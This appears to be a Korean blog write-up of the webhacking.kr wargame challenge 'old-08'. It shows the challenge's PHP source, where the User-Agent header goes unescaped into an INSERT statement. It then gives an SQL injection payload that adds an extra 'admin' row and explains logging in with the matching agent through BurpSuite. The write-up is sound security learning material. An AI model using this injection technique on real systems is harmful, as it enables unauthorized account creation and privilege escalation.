본문 바로가기

Web Security/webhacking.kr

[Webhacking.kr] old-08

https://webhacking.kr/challenge/web-08/

 

Challenge 8

 

webhacking.kr

 

문제 코드

 

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>
<?php
/* HTTP_USER_AGENT를 수정하여 쿼리를 수정 */
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
  echo("<br>Access Denied!<br><br>");
  echo(htmlspecialchars($agent));
  exit();
}
/* 생성된 유저 수가 70이상일 경우 테이블 초기화 */
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);

if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}

/* 쿼리를 조작하여 admin 계정을 생성하는 부분 */
if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>

 

 

위 문제는 INSERT 쿼리를 조작하여 admin 계정을 생성하고, admin 계정을 생성할 때 등록한 USER_AGENT 값을 줘서 admin 계정으로 로그인하면 됩니다. 

 

유저 생성 쿼리문에서 $agent 값을 수정하여 봅시다.  

insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')

insert into chall8(agent,ip,id) values('A','1.1.1.1','admin'), ('B','{$ip}','guest')

 

빨간색으로 표시한 부분처럼 $agent 변수에 입력으로 주게되면, 2개의 데이터가 생기게 됩니다. 

이제 $agent 변수 값에 A 값을 주면 admin 계정에 로그인할 수 있게 됩니다. 

 

insert 쿼리 조작
admin 계정의 agent 값 전달

해당 문제는 BurpSuite를 사용하여 쿼리를 조작하는 문제였습니다. 

'Web Security > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-45  (0) 2023.05.27
[Webhacking.kr] old-50  (0) 2023.05.27
[Webhacking.kr] old-24  (0) 2023.05.19
[Webhacking.kr] old-21  (0) 2021.08.01
[Webhacking.kr] old-20  (0) 2021.08.01